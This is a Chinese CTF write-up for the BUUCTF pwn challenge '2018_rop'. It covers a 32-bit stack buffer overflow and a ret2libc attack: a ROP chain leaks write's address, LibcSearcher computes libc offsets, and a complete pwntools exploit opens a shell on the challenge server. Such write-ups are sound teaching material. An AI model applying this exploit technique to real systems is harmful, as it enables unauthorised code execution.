buuctf|pwn-铁人三项(第五赛区)_2018_rop-wp

1.检查保护机制

2.我们用32位的IDA打开该文件 

shift+f12查看关键字符串,没有发现关键字符串 

3.我们查看main函数里面的内容 

我们发现有两个函数

 进入第一个函数

进入第二个函数

 

在第二个函数里面发现buf溢出,buf有0x88个字节,但是read()函数读取了0x100个字节 

4.system("/bin/sh")

我们在文件中没有找到可以拿到shellcode权限

所以我们要用libc,计算偏移量,拿到shellcode权限

base_addr     = puts_addr - libc_puts_addr

system_addr = base_addr + libc_system_addr

bin_addr        = base_addr + libc_bin_addr 

5.ROP链

4

write@got

1

main

write@plt

6.EXP

该题用了rop链和libc

#encoding = utf-8
from pwn import * 
from LibcSearcher import * 

context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF('./2018_rop')

def main():
	if content == 1:
		p = process('2018_rop')
	else:
		p = remote('node4.buuoj.cn',25020)
	
	#elf
	main_addr      = elf.sym['main']
	plt_write_addr = elf.plt['write']
	got_write_addr = elf.got['write']
	payload        = b'a'*(0x88+0x4) + p32(plt_write_addr) + p32(main_addr) + p32(1) + p32(got_write_addr) + p32(4)
	p.sendline(payload)
	write_addr     = u32(p.recv(4))
	print(hex(write_addr))
	
	#libc
	lib             = LibcSearcher('write',write_addr)
	lib_write_addr  = lib.dump('write')
	lib_system_addr = lib.dump('system')
	lib_bin_addr    = lib.dump('str_bin_sh')
	
	#base
	base_addr       = write_addr - lib_write_addr
	system_addr     = base_addr  + lib_system_addr
	bin_addr 	= base_addr  + lib_bin_addr
	
	payload = b'a'*(0x88+0x4) + p32(system_addr) + b'aaaa' + p32(bin_addr)
	p.sendline(payload)
	 
	
	p.interactive()
main()

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值